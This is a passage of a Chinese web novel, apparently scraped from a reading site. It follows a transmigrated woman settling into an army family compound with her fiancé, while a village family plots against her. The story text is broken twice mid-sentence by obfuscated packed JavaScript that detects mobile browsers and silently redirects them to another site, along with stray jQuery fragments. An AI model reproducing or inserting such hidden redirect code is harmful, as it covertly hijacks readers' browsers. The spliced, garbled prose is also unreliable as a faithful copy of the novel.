原本杂草丛生的院子里杂草全部都被清理干净了,而且到处也都明显清扫过,虽然还是有些简陋,但只是清洁程度过关。 屋内许多简单家具已经搬过来了,还有昨天他们在市里买的锅碗瓢盆。 赵书宜心里有些怪异,总之有点……像个家了。 “连长,你看看还有哪些地方需要我们弄的?”何旭一早就跟着自家连长来收拾了。 等他送了蔡小月回来,兄弟们已经开始收尾了。 他自己是觉得收拾得挺不错的,就是不知道连长和嫂子满不满意,他有点忐忑。 顾岩也有些忐忑地看向赵书宜。 赵书宜只是简单地看了一圈,感觉已经收拾得七七八八的了,剩下的他们自己调整就可以。 “差不多了吧,真是辛苦各位了,我们现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624176|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没口水,等我们安顿下来再请你们吃饭。” 几个士兵原本看见城里来的大小姐还担心她会看不起他们这些大老粗,没想到嫂子如此大方。 看了一眼自家连长,几人才笑呵呵道:“那我们可就等着连长和嫂子的饭了。” 在他们这地方搬新家请相熟的人吃饭算是习俗了,再说了,连长新婚,哪能不请吃饭,所以众人也没客气。 “请等好吧,我手艺可好了。”赵书宜半认真半开玩笑道。 顾岩挑眉,他倒是没想到她还有如此会说大话的一面。 有点可爱。 几个士兵说说笑笑,也知道人家新婚小夫妻需要独处的时间,赶紧地就溜了,走前还冲顾岩挤眉弄眼的,真当赵书宜看不见似的。 赵书宜有些无语,但也觉得这群人挺有趣的。 想必和他们也不难相处。 还有顾岩看着可怕,但明显对手底下的人很好。 总感觉他身上还有许多自己没有察觉到的许多方面。 这年代的婚姻好比开盲盒,让人紧张又有些期待。 “你看看哪里需要调整,差哪些东西,我来安排。”顾岩挽起袖子露出精壮的手臂。 很好,眼里有活。 “我看看。” 赵书宜其实各处都还挺满意的,但是她觉得少了一样东西。 “你说,我们能不能在旁边加盖一个卫生间。” “卫生间?” 赵书宜点头,“就是可以上厕所和洗澡的地方,这样我们就不用跟人去外面挤了。” 公共厕所算是一代人的回忆,她上辈子小时候也是去过公共厕所公共澡堂以及公共锅炉房的。 有些事物存在是因为资源紧张而不是大家不懂得享受。 现在他们两个似乎有这个条件,那是不是可以利用一下,对自己好点? 赵书宜有些期待地看向他。 这年头大家洗澡基本都是拿个盆在房间里洗,私密性和保暖性都有,但是却不怎么方便。 “你是说要铺水泥的那种吗?” 见顾岩犹豫,赵书宜也意识到事情似乎不像自己想得那么简单。 “怎么,不可以吗?如果不行的话就算了。” 她其实最主要的就是想要个单独的卫生间。 毕竟她有空间,洗澡也不用担心。 “也不是不行,让我想想办法吧,水泥可能申请不到,但是砖或许可以,应该也能达到你想要的效果。但是建一个小房子这应该比较困难,如果你需要恐怕只能在那个房间弄。” 顾岩说着耳朵莫名就红了,他头发短一眼就能看得出来。 赵书宜虽然是个对感情没什么经验的,但是间接经验真是半点不缺,一下就明白了他的意思。 这就是要睡一起呗。 “如果你不介意我们睡一张床,可以弄。” “你放心,你不同意我不会对你做什么。” 说完这话他脸上都有些红。 赵书宜觉得好笑。 可能担心赵书宜误会,他还在解释。 “我们住在一起也有好处,虽然你不想跟太多人接触,但难免也会有人来家里做客,被人发现可能会说闲话……” “我知道了。” 赵书宜笑着打断他。 “说这么多,搞得你好像有些心虚似的。想到哪里去了呀?” “我没有。”顾岩一下整个人站得更直了。 赵书宜噗嗤笑出声来。 这下顾岩哪里还有不明白的? 这丫头居然在笑话他! 22. 并不是很想要这个辈分。 屋里家具本来就不多,又有人提前收拾过,其实真没太多可以收拾的。 书宜根据他们今天新去打的家具估算了一下,调整了一下现有家具的位置,很快就弄好了。 昨天他们在市里供销社买的东西也多,就连米面粮油都有,他们今天就可以在这里开火。 “家属区也有食堂,我们中午去食堂吃吧,我带你去认认路。” 赵书宜点点头。 虽然她可能不会经常去食堂,路还是得认识的。 “吃了饭我再带你去供销社,以后买菜买东西什么的都可以去那边,然后我们再添一些家里需要的东西回来。” 安排得很好,完全不需要赵书宜操心。 “都听你的。” 两人歇了一会儿也差不多到午饭的时间了。 他们一起出了门。 家属院许多人都是认识顾岩的。 很多人也都知道他马上要升副团了。 这么年纪轻轻的副团可不多见,再加上有新来的家属,于是赵书宜又收获了一波注目礼。 赵书宜依旧表现得大方得体又有点疏离,上前搭话的倒也不多。 走了几遍,赵书宜都有些习惯了。 但顾岩似乎觉得她不习惯,还安抚她。 “你别害怕,大家也就是没见过你才会这样,等熟了就好了。” “没事。”赵书宜脑子里在想卫生间怎么弄,都没把他的话太放在心上,有些心不在焉的,等反应过来,两人都要到食堂门口了。 就在顾岩担心的时候,她突然说:“要不我们还是把那个小房间分割成两个房间吧,弄一个小隔间出来。” 现在这个房子其实挺好的,美中不足的就是有点小,储物空间太少了。 如果有个小房间还是要方便一点。 到时候吵架也能分房睡不是。 闻言顾岩抿唇,没说行或不行。 “到时候如果有客人来,也能用个行军床什么的凑合一下。” 顾岩还不知道自己老婆连两人吵架时自己的去处都安排好了,他有些无奈。 “你琢磨一路就琢磨这个。” “这个怎么了,这可是大事,而且我觉得行军床还不好,如果是用那种柜子就好,抽屉,就是抽屉!” 床底下反正就是储物空间。 普通抽屉没那么方便,最好还是一个一个可以变换形状的抽屉。 “晚点回去我们商量一下。” 顾岩实在没忍住,轻轻在她额头敲了一下。 赵书宜气鼓鼓抬眼就看到对方含笑的眼睛。 “你也知道现在是吃饭的时间,想吃什么?” 被他突如其来的有些亲密的动作弄得有些不知所措,赵书宜强行压下奇怪的感觉,说:“不想吃肥肉,其他都可以。” “行,找个位置坐下,我去打。” 赵书宜赶忙找位置,然后就注意到许多人正在悄悄打量他们。 一见她看过去,所有人又都跟商量好似的立马专心吃饭,好像从来没关注他们。 赵书宜脸腾地一下红了。 明明他们也没干什么。 两个人却就好像是当众打情骂俏被人围观了似的。 赵书宜看向去打饭的某人,看到对方有些发红的耳朵,这才满意了。 她赶紧找了位置坐下,企图隐没在人群中。 要说大家为什么会关注他们,还是顾岩说的原因,就是没见过稀奇。 从前谁都知道顾营长是从不跟任何女人亲近的,问就是有对象。 问对象是谁他就是不说,也没见他给谁写过信,也没见除他家人以外的人联系过他。 逢年过节,别说是什么礼物衣裳,就是一张纸条都没有。 大家都怀疑他根本没什么对象,就是吹牛。 没想到不仅不是吹牛,他的对象还是个大美人,难怪藏着掖着连照片都不给看了。 大家酸啊。 顾岩两人完全不知道这些人的想法,要是知道了顾岩恐怕会想一一和人切磋。 还想看照片,想屁吃,他都没见过照片。 只是此刻的他还沉浸在自己突然有个媳妇的不适应中,完全想不到这么远。 四月份的时候他应爷爷的要求去京市提醒赵家人,顺便解决娃娃亲的事。 他能看得出来赵家都是好人,赵书宜娇气了些,也不坏,但明显不喜欢他,反而对赵叔的一个徒弟有点意思。 那时他就知道这门亲事不行了,也做好了退婚的准备。 本来他自己也没着急结婚。 但是没想到她又来了,不用说,肯定是京市发生了什么事情。 今天上午顾岩已经拖人打听了。 他倒不是想要挖赵书宜什么隐私,只是觉得有些事情还是该搞清楚。 然而和赵书宜相处下来,顾岩发现自己一点也不了解对方。 对方无疑是独立的,大方的,所以他觉得自己也应该重新考虑对她的态度。 于是等把饭菜摆好,顾岩像是随口问了一句。 “对了,还没问你叔叔阿姨最近怎么样了,你来之后跟他们联系了吗?” 赵书宜这才想起来自己是不是还没跟他说自己父母的事。 想了想赵书宜觉得自己突然的转变还是应该给个理由。 高志云的事她也得说,但怎么说她得琢磨琢磨,至少肯定不能让对方怀疑自己拿了那些东西。 “晚点回去跟你说。” 赵书宜夹起豆角放进嘴里,然后眼前一亮。 “这豆角很香诶。” 看着卖相其实不怎么样,大概是干煎的,豆角皮有些地方看起来是黑色的,就跟糊了一样,但吃起来一点糊味也没有。 顾岩见她腮边一鼓一鼓,眼角又溢出笑意。 “这边的菜色确实不错,就是辣,你要是出去吃一定要提前跟人沟通,我怕你受不了。” “没关系,我可以慢慢适应。” 赵书宜觉得不挑食才是快乐的。 她要是不吃辣椒,那这西南她还能有可待的地儿吗? 区区辣椒,她才不怕。 赵书宜又尝了尝土豆排骨,香。 果然这边的菜味道确实不错,她要学。 两人美滋滋吃完饭,赵书宜又有点发困。 顾岩看她眼神有些迷茫就猜到了,说:“要不你先回招待所睡一下,晚点我来接你出去逛逛。” “不睡了,直接把东西拿进来,在家里睡吧。” 听到她说家时,顾岩心中微动,但也没多想。 “也行,反正也不远。” 于是两人直接去拿了东西。 回到家差不多一点。 外面很晒,屋内却比较凉爽。 “你休息一会儿,我去问问砖的事情。” “你不休息吗?” 赵书宜坐在床边抬眼望着他。 明明知道她没有别的意思,顾岩还是有些别扭地瞥开了眼。 “我不困,我先去了,很快回来。” 说完他就跑了,跟身后有狗撵他似的。 呸呸呸,她才不是狗。 人走了赵书宜立马把房门给锁了,然后躺在了属于自己……和他两个人的新房间里。 床单被套又换了一套新的,依旧有淡淡的香皂味道。 赵书宜迷迷糊糊想,顾岩这个人还挺讲究的,这年头谁用香皂洗床单啊。 不过她真喜欢这味道啊。 赵书宜这一觉睡得极沉,等醒来时感觉窗外的阳光都没那么烈了。 她眯了眯起身出门,发现顾岩正挑了水在浇地。 他那高大体格拎着两桶水就像拎着两个空水桶一样简单,只是用力的时候还是能看得出背上那劲瘦有力的肌肉。 真是有点赏心悦目了。 对方似乎察觉到了她的视线,转头看了过来。 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“找人买的,这里晒,以后出门你可以戴帽子。” “好。” “孩子呢,要不要带着一起去,孩子肯定也需要买些生活用品吧。” 孩子在蔡家过着那样的日子,肯定也不能指望赵家人会给蔡明亮准备什么生活用品。 顾岩点头,“嗯,带着一起吧。” “蔡家人不会过来闹吧。” 赵书宜看蔡小月并不是个会善罢甘休的。 她在重男轻女的家庭中长大,受了许多压迫,想靠自己的方法闯出一条路,这样的人不会轻言放弃。 原本像她这样的人如果选择一条正道,肯定前途光明。 可她偏偏想不开。 “他们不敢。”说完顾岩又像是想到什么似的,说,“不过我们也尽量小心吧,家属院他们进不来,出去的话尽量注意安全,别往偏僻地方去,别一个人。” 想到蔡小月初见自己时的那个眼神,赵书宜深以为然。 “行,我知道了。” 赵书宜想到自己穿越以来发生的桩桩件件事,她总觉得这个书中世界还是很危险的。 到处都是坏人。 她记得要到八十年代才会有严打,过后到千禧年才算是慢慢好起来。 “顾岩,要不你教我一些身手吧。” 虽然对方没在她面前展示过,但赵书宜觉得他的武力值肯定不低。 至少学点防身术,到时候遇到危险能想办法自救而不是依靠空间。 而且她也想有肌肉诶。 顾岩完全不知道自己未来的娇娇媳妇想要练肌肉,听到她的要求,他先是一怔,随即便十分认同地点了点头。 “可以,等搬进来我教你。” 能不能学会另说。 想学就是好事。 不过看到她那纤细的身材雪白的肌肤,顾岩垂下眼还是忍不住打了预防针。 “如果跟我学的话,我会很严格。” 赵书宜想了想,有一丝丝退缩,但看一眼对方身材,说道:“可以,咱们循序渐进可以吧。” “可以。” 两人达成共识。 - 两人去接到孩子时,孩子已经醒了,坐在那里不哭不闹的,脸上的红肿也消了,看着可爱又可怜。 他见到顾岩一下就冲了过来。 “顾叔叔。” 顾岩一把把人抱起来,“还记得这个阿姨吗?” 蔡明亮看到赵书宜,大眼睛眨巴眨巴。 “姐姐。” 顾岩脸一黑。 “是婶婶。” 赵书宜:“……”并不是很想要这个辈分。 23. 我给你找个能生的吧 蔡家村。 彼时的蔡家人个个如丧考妣。 “你个死丫头,真是没用,男人都送到你面前了你都抓不住,还把那小子给弄丢了,你说说怎么办吧!” 自从蔡小月回来把事情一说,蔡家人都觉得大事不妙。 他们平时对蔡明亮如何他们清楚,蔡明亮也清楚。 那小子机灵得很,知道自己是在谁手底下讨生活,所以平常也不敢告状。 但是现在顾岩不让他们养了,那小子还指不定怎么告他们的状呢。 蔡家二嫂撇撇嘴,“我都说了小妹别在孩子身上下功夫,每次都把人整得病歪歪的,要算账也是找小妹,跟我们可没关系。” 蔡家大嫂也跟着点头,“本来我们拿了抚恤金,漏一点给那孩子也不至于把人照顾成那样,何必想那么多。” 有些话她平常不敢说,现在眼看着就要大祸临头,她也忍不住了。 “要我说有些事情不该我们想的就别想,那顾营长哪是那么好招惹的?” 这话简直戳了蔡小月痛脚了。 “大嫂,这个家哪里轮到你说话了,不下蛋的母鸡,你也配教训我!” 这样的话平常都是老太太说的,老太太怎么骂,蔡大媳妇也不敢说什么,因为某种程度上来说这是事实。 但现在一个小辈也敢这样说她,她简直要气晕过去。 “你……你你……”她指着蔡小月半晌说不出话来。 蔡二媳妇就喜欢看她吃瘪,落井下石道:“大嫂,你气什么,小妹说的也是事实,我们都知道你想领养那孩子,可领养的哪有自己生的好啊,你还是想想怎么生个儿子出来吧。” 蔡大媳妇一把拧在自家男人身上,让他给自己说句话。 全家也就自己男人不介意她生不出儿子来。 可男人是个懦弱的,被拧了都不敢吱一声,只是拉了拉蔡大媳妇,“你少说两句吧。” 蔡大媳妇气个倒仰,刚要发作老太太一拍桌子,“行了,成天吵吵吵,没见你们吵出个名堂。” 她说着瞪老大媳妇一眼,显然也是对她生不出儿子很不满的。 蔡大媳妇委屈死了。 她真是受够这家人了。 脑子都有病。 说他们重男轻女吧,自从自己嫁过来就见他们事事听小姑子的话,偏偏小姑子还觉得自己受了多大委屈。 说他们不重男轻女吧,都指责她生不出儿子。 说他们重男轻女吧,他们却又把老三儿子蹉跎成那样,他们也不怕老三的魂来找他们索命。 一家子都病得不轻。 “是,反正我说话也没人听,正好我妈前些天跟我说想外孙女了,我带小花回娘家住两天。” 她女儿生下来就有些体弱,若不是自己亲妈帮忙养了一段时间说不定都活不到现在。 蔡大媳妇十分清醒到底是娘家靠得住还是婆家靠得住。 依她看,这家人再事事听小姑子的迟早完蛋。 她真是看着小姑子那阴恻恻的眼神就害怕。 “你这是干啥?” 见她动不动又要回娘家,蔡大也有点烦了。 “大哥,你拦她做什么,最好永远待在娘家别回来了,你重新找个能生的。” 蔡大媳妇正要发火,就听蔡大应和,“你要是敢回去你就别回来了,我再找一个!” “行,你别后悔,小花,我们回外婆家!” 没一会儿,蔡大媳妇拿了一个小包袱领着女儿离开了蔡家,全家上下没一个人留她,她只觉心中悲凉。 她不知道的是,等她一走,蔡小月像是立马活过来了似的看向自己大哥。 “大哥,我给你找个能生的吧。” 蔡大一双眼睛前所未有地亮,“真……真的吗?” “当然,你妹妹我什么时候骗过你,反正你和那女人也没领证,到时候让大队长给你写个证明就行了。” 蔡大连连点头,“行,是什么样的女人?” 听到他们的话,蔡二媳妇眼珠子一转,问:“小妹你该不会是想把顾营长那媳妇拐过来吧?” 蔡小月睨了她一眼,全家也就她还有点脑子。 “有何不可?” 蔡大吓傻了,他疯狂摇头,“这……这不行!那可是顾营长的女人?” “那可是沪市来的大小姐,大哥,你拿捏了她以后就是大城市的姑爷,咱们全家都得沾你的光。” 原本大家都觉得蔡小月在异想天开,可一听她忽悠顿时都说不出反对的话来。 小妹一向有脑子,也带着他们家占了不少好处。 万一这次也成呢? 就算不成,那主意也不是他们出的。 几人想法高度一致,一向最怂的蔡大也受不了这个诱惑,答应下来。 他觉得小妹最聪明,听小妹的准没错。 出事小妹也跑不了,小妹一定会好好谋划的。 思及此,他眼睛发亮问:“那要怎么做?” 蔡小月露出有些不屑的笑容,“大哥你就等着过好日子吧。” 赵书宜还不知道已经有人开始打上自己的主意了。 她和顾岩两人接到孩子就一起去了供销社。 这边的供销社虽然不大,但其实东西挺丰富的,很多赵书宜想不到的东西这里都有。 赵书宜挨着挨着买,买了不少的东西,顾岩全程抱着孩子,似乎对她这样花钱完全没有意见。 最后回去时两人大包小包的,着实骇人。 就连小孩都只能在地上自己走。 “我帮顾叔叔拿。” 小亮特别乖巧,也很黏着对方。 这完全得益于顾岩对他的耐心。 顾岩也没说不让他拿,而是拿了几张毛巾给他。 “拿好了,不能掉在地上了,免得弄脏。” 毛巾都是赵书宜选的。 按照她的想法,洗脸要一张洗澡要一张擦脚还得要一张,三个人那就是九张。 所以显得很多,小孩拿了几张,一下就像拿了许多东西似的。 赵书宜觉得好笑。 顾岩也两只手都拎满了东西,问她,“你想要自行车吗?” 赵书宜顿了一下,想想现在的情况,“要不要都行吧,好像不怎么出门。” 原本顾岩也是这么想的。 她不想出门,来供销社肯定也能找到婶子们一起来,而且也近,用不上自行车。 但转念又一想,万一又碰到今天这种情况,有个自行车还是方便许多。 “那我们 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其实新搬来的大多数人都会大包小包的,但许多东西都是从家里带来的。 明明他们都已经搬了那么多东西回院子了,怎么还买这么多,再看赵书宜那一副怡然自得的样子,显然已经习惯了这样。 有些人心里就不平衡了。 大多数人都会有攀比的心理,其中又有大多数不会表现出来,但这世界上从来不缺显眼包。 刚走进家属院,没一会儿就有人凑了上来。 “顾营长,顾家媳妇,你们这是把供销社都给搬回来了啊,瞧瞧这能毛巾都这么多。” 这婶子也不知从哪冒出来的,眼珠子就没从他们的东西中挪开过。 她一靠近,小亮显然是吓到了直接躲在了顾岩的身后抓住顾岩的裤子,手里东西都差点没拿稳。 “婶子,别吓着孩子,我们只是攒了一些票,再不用过期了,买了东西慢慢用,我妈都没来管我们你不会要管我们吧。” 顾岩这话说得挺不客气,那婶子讪讪笑笑,“什么管你们,我不就是好奇问问吗?还不能问了?” 顾岩:“麻烦让让吧,等我们搬进去再请大家吃糖。” 听到这话那婶子表情明显好看了许多,一下子就让开了。 “行行,你们忙你们忙……” 等走远了点,赵书宜夸道:“给个巴掌再给颗甜枣,你还挺会办事。” 顾岩解释:“有些婶子喜欢聊热闹,但心不坏,我们只需要和这些人保持合适的距离就好了。” 想了想他又说:“如果你不想应付,不理也行,反正我们不主动招惹别人,如果别人找上门来也不要怕,你告诉我就是了。” 闻言赵书宜玩笑道:“那我可就不客气了。” 顾岩一本正经,“嗯,随你喜欢。” 他说话时一直望着自己,这让赵书宜莫名有些尴尬,她垂下头看路,又觉得嘴里也应该说点什么。 “这么多东西,感觉自行车似乎确实有必要。” 顾岩颔首,“嗯,确实有必要,我很快买回来。” 24. 煎蛋面 三人回去后,赵书宜让顾岩归置东西。 “你把这些东西收拾一下,我去厨房烧点热水,给小亮泡点麦乳精喝。” 她看孩子实在太瘦小了,得好好补补。 顾岩点了点头,又有点不确定地问:“你可以吗,要不然放着我来?” “怎么不可以,我还烧不了水了?” 别说是她前世从小在家干家务活,就是原身被宠着也不是什么都不会的。 这个顾岩,简直小看人。 “你等着吧,今晚我下厨!” 现在她也大概了解顾岩了,对方是个勤快人,平常在家不会当个甩手掌柜。 他这样,自己做做饭也就没什么了。 赵书宜悄悄分工。 她之所以抢着来厨房,还是想混点灵泉水给他们用。 赵书宜希望自己身边的人都能健健康康的。 不过灵泉水的功效太强大,得稀释一下。 跟顾岩说好,两人就分开行动,孩子自然是粘他的,赵书宜也乐得清闲。 她先是将厨房上上下下都打扫了一遍,又把锅碗瓢盆重新洗了一遍,然后开锅烧水。 等她弄好,顾岩早已经把东西收拾了,他进来看过两趟,看到焕然一新的厨房,他是真的信了,赵书宜是会做家务活的。 烧好水,赵书宜给他们端了出去。 “多喝水对身体好,以后我们家要常备开水,顾岩,你要喝麦乳精吗?” “不用。”顾岩下意识回答,可想到刚才赵书宜说的话,他又说,“白开水就好。” 看到他们两人把水都喝下,并且都没有提出什么奇怪的问题,赵书宜放了心,看来以后就按这个比例应该没错。 “晚上我做煎蛋面吧。” 他们去供销社的时间晚,根本就没什么菜了,家里也就只有买好的鸡蛋面粉一类。 顾岩点头,“我来帮你烧火。” 这次赵书宜没有拒绝。 农村土灶烧柴,她要一边弄面条一边烧火确实没那么方便。 赵书宜前世是南方人,但幸亏她喜欢做吃的,所以也做过手擀面,再加上还有原身的记忆,她还比较有把握。 “现在时间还早,我们给隔壁也端两碗过去,行吗?” 赵书宜不太确定这么做合不合适,只得询问他的意见。 本来刚搬来左右串串门都是应该的,顾岩没有多想,看了看时间说:“可以。” 有了他的话,赵书宜就多做了点面。 做面条的手艺还在,在顾岩看起来那就是动作娴熟,他一直盯着让赵书宜多少有些不自在。 醒面的时候两人简单地商量了一下小屋的布局,初步达成了共识。 等把面做出来赵书宜先煎了十个鸡蛋,一人两个,很是丰盛。 小家伙站在顾岩的旁边,眼巴巴望着赵书宜。 赵书宜感觉实在好笑,从口袋实则是从空间拿出几块大白兔递给顾岩。 “孩子都快馋哭了,先给他吃点。” 别说孩子惊喜,顾岩都惊喜,没想到她包里还有糖。 然后他也注意到了小亮的眼神。 他还没赵书宜细心,居然没关注到孩子。 “想不想吃糖?” 小亮点点头,眼睛亮晶晶。 “那要不要先说谢谢?” “谢谢叔叔。” “还有呢,谁给的糖?” 赵书宜看到他们两人的互动,心里暖暖的,感觉尸斑都淡了。 谁能想到呢? 看着五大三粗的顾岩,不仅对孩子无比耐心,还会用缝纫机做衣服! 小亮是个聪明孩子,顾岩一引导他就明白了,转头看向戴着围裙的赵书宜,糯糯说道:“谢谢姐姐。” 顾岩没好气揉了揉他的头发。 不能揉赵书宜的,揉揉小孩的倒是很顺手。 “你这孩子,我是你叔叔,她是我媳妇,你不能叫姐姐,要叫婶婶。” 莫名的,听到这话,赵书宜有点脸热,好在手下有活,她把姜蒜切末加上辣椒面,用煎蛋剩下的热油淋了一下,油泼辣子的香味瞬间飘散出来。 还没吃上糖的小亮吸了一下鼻子拉着顾岩袖子,说:“婶婶好香。” 赵书宜实在没忍住,又噗嗤笑了出来。 “婶婶香还是婶婶做的饭香?” 小亮舔了舔嘴唇,说:“都香。” 这孩子,还知道哄人开心。 赵书宜还真被哄住了,乐呵呵的。 准备工作都做好煮面也就快了,烧水、下面,面熟捞入已经放好调味料的碗中,搅拌搅拌,一碗香喷喷的煎蛋面就做好了。 “你先给他们端过去吧,等你回来一起吃。” “你们先吃,不用等我,我马上回来。” 顾岩端着两碗面匆匆出了厨房。 “你慢点!”赵书宜提醒他,生怕他把碗给摔了。 顾岩听到她的声音,脚下步子这才慢了些。 隔壁院门并没有锁,他们两口子住这里平常不会有人来,就算有人来也会敲门。 顾岩两手拿着不方便,只得一脚踏入院子喊了一声。 “陶团,陶团在吗?” 很快陶源从屋内走了出来,他还穿着军装,显然是刚回来。 看到顾岩手里端着面,他还有些诧异,“你这是……” “我媳妇今天搬过来,做的第一顿饭,请邻居吃点。” 还是第一次称呼赵书宜媳妇,他颇不自在,只能尬笑。 看着他笑嘻嘻的样子,陶源眼下愁绪漾开一些。 “这怎么好意思?” “跟我还客气,赶紧接下。” 煮都煮了,不可能不要,陶团长也没推辞,只是在接下时他压低了声音问:“我家的事你跟弟妹说了吗,她真愿意住这?” “当然,我能瞒着她吗,你安心,对了,一会儿吃完饭,聊聊,有点事想跟你说。” “好,那你赶紧吃饭去吧。” 顾岩摆摆手,他也急。 “一定要让夏连长尝尝我媳妇的手艺,特地给你们夫妻一人卧了两个蛋呢。” “这么多,多谢弟妹了!” 两人声音大起来,那好家伙,跟吼似的。 赵书宜在堂屋听到声音没好气地笑了笑。 只是想到陶团长的情况,又把笑容收了起来,忍不住叹息了一声。 原本该是多么优秀开朗的一个人啊。 虽然不愿意这样想,但毋庸置疑每个人的另一半对于自己的影响都是很大的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640645|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 有时候或许能影响一生。 她希望这些好人都能有更好的未来,哪怕尽自己的努力让对方好一点点她也愿意。 “回来了,那我们开饭吧,一会儿别给坨了。” 再好吃的面坨了那味儿也不会太好。 赵书宜一开口,三人各自抱着自己的碗就开动了。 她的面碗里和小亮一样都只加了一点点辣椒,看起来就跟清汤面一样,但两个人都吃得津津有味的。 而顾岩碗里的就不一样了,红通通的,别说让他们尝,看着就吓人。 而且他吃饭快,呼噜呼噜,仿佛几口就吃完了。 “你吃饱了吗,不够我再给你做点。” 看着自己碗里还剩下大半的面,赵书宜陷入沉思。 顾岩也有点不好意思了,他连忙拒绝,“不用,我就是平常习惯了这么快吃饭,你慢慢吃,吃完我洗碗。” 赵书宜没有拒绝。 干活搭配才不累。 她真的不喜欢洗碗。 吃个面条而已,再慢也不会太慢,没一会儿他们也吃好了。 赵书宜带着孩子看顾岩干活。 她发现顾岩干活是真有一手,不管做什么事动作都很麻利。 很快因为做饭有些乱糟糟的厨房就又收拾整齐了。 就在这时门外传来敲门声。 赵书宜去开门,居然是陶团长,她连忙招呼。 他手里还拿着两个碗,显然是来还碗的,碗里居然还有肉。 “弟妹,多谢你煮的面,特别香。” 赵书宜笑道:“你们喜欢就好。” “这是我自己做的一点酥肉,你也尝尝我的手艺。” “哪有用肉换面的,陶团长你们家可亏了,快进来坐。” 赵书宜也没太扭捏,人家既然都已经把肉放他们碗里了,那肯定就是诚心送的,若是推来推去反倒不好。 只是她没想到她请对方进院子对方真进来了。 几乎是瞬间赵书宜就明白了,这是来找顾岩的。 这时顾岩也出来了,赵书宜和他对视了一眼,正要躲开,顾岩说:“是来谈那件事情的,一起。” 赵书宜点头。 两人早已经商量好,但陶源并不知道是为什么,等听到顾岩说起来他满脸都写满了惊诧。 “弟妹,你……你要帮我照顾夏夏?” 赵书宜认真点头,“对,不瞒陶团长,我一直很敬佩军人,要不然我也不会千里迢迢跑来嫁给顾岩。” “我听了你们的事迹十分佩服,希望能为你们出一份力,也希望陶团长你能继续坚持自己的理想,我相信夏连长最不想看到的就是你因为她而放弃自己的前途。” 陶团长沉默了,沉默了许久。 除了他自己没人知道他在想什么。 赵书宜两人也没催,静静在一旁等着,房檐下,蔡明亮听了话也乖乖坐在那里玩着奶糖的糖纸。 十分安静。 过了不知多久,陶团长才有些颓丧说:“她不一定会同意。” “冒昧问一句,陶团长你想退伍的事情跟夏连长说过吗?” “千万不能跟她说!”陶团长十分激动,但还不忘压低声音。 “如果跟她说了她会活不下去的。” 25. 一下陷入两难 “那你瞒着她先斩后奏,她就能接受吗?” 赵书宜猜得果然没错。 他们两个都是英雄,或许他们都很爱对方,就跟他们热爱自己的事业一样,但他们之间的沟通是有问题的。 陶源很是无奈说:“至少她能活下去,退伍后我可以照顾好她,退都退了她也拿我没办法。” “是,她甚至会为了你的牺牲让自己苟延残喘地活下去。” “你什么意思,她活下去对我来说已经很好了。” 陶源深吸一口气,还是没把自己很想说的话说出口。 如果她不在了他也活不了。 赵书宜虽然不知道他的想法,但也能猜到一些。 “易地而处,如果是我,那绝对不是我想要的。” “那又怎么样,你知道她想要什么吗,她想要跟我离婚让我心无旁骛地工作,这可能吗?她一直在跟我闹,我能怎么办,我不可能和她离婚!” 陶源从凳子上站起来,他压抑着同时又怒吼着,他满眼猩红,他十分无助。 顾岩忙安抚道:“陶团长你冷静一点,有话好好说,我们现在就是在帮你出主意。” “对。” 赵书宜知道他是真的很痛苦,原本想让他自己去考虑夏连长真正的想法,现在看来是自己想得太复杂了。 直接说不就好了。 “其实夏连长的想法很简单,她就是不想拖累你,希望你继续自己的理想有自己美丽而灿烂的人生。” 赶在对方发火之前,赵书宜又道:“而你没有告诉她你的底线和你愿意做出的努力。” “在她眼里,你为了她什么都能做,甚至能为她放弃前途放弃生命,但这对于她尤其是现在的她来说太沉重了。” 闻言陶源终于又重新坐会自己的位置,像是在深思赵书宜的话。 “那我应该怎么办?”他问。 “你告诉她你只希望她能好好的活下去,希望每天下班回来,每次做任务回来能看到好好的她这就足够了。” “你还想实现自己的理想,也不想失去她。” “你不仅要对她负责,还要对你手底下的兵,对你的任务,对培养你赋予你权利与责任的组织负责。” “陶团长,适当地在她面前服软,她是爱你的,能看到你的决心,她也会为了让你没有后顾之忧而努力的。” “她懂你。” 陶源离开了,走前只是对他们两人说了句谢谢。 他应该感触良多。 赵书宜其实并不知道自己的话是不是一定管用。 心里也挺忐忑的。 见顾岩打量自己,她有些不好意思,问:“你是不是也觉得我站着说话不腰疼。” 这些话,只有外人能说。 他们其实不是不明白这些道理,但只有真正经历过的人才会明白有些决定有多难做到。 而在做好决定之后,又会有多少的无可奈何、难以兼顾。 然而,顾岩却说:“不会,他们比大多数人想得更加坚强,但是没有人像你这样直接清楚地劝说他们。” 最开始的时候自然有很多人来劝过的。 劝夏连长坚强,鼓励陶团长坚持,但却都没有同时站在他们两人的立场上来劝说。 顾岩还知道自从夏连长提出离婚,很多人都是希望他们两个分开的。 他们不是不喜欢夏连长也不是不可怜夏连长,而是不希望一个人才因为另一个人才的陨落而随之陨落。 说白了他们就是不希望夏连长耽误了陶团长。 可用赵书宜的话来说,这是陶团长想要的吗? “你比我想象得更好。” 赵书宜肯定是不知道顾岩心里在想什么的,是以听到这话她一愣。 随即脸有点发热。 “你想象的我,是什么样的?” 顾岩也有点不好意思了,他刚才没想把那话说出来的。 “抱歉,我有点冒昧了,天晚了,我得走了,不然被别人看到我这么晚还在这里不太好。” 毕竟他们还没有结婚。 赵书宜没有阻拦,“好,那你早点休息。” “嗯,我明天拉砖过来修那小屋子。” 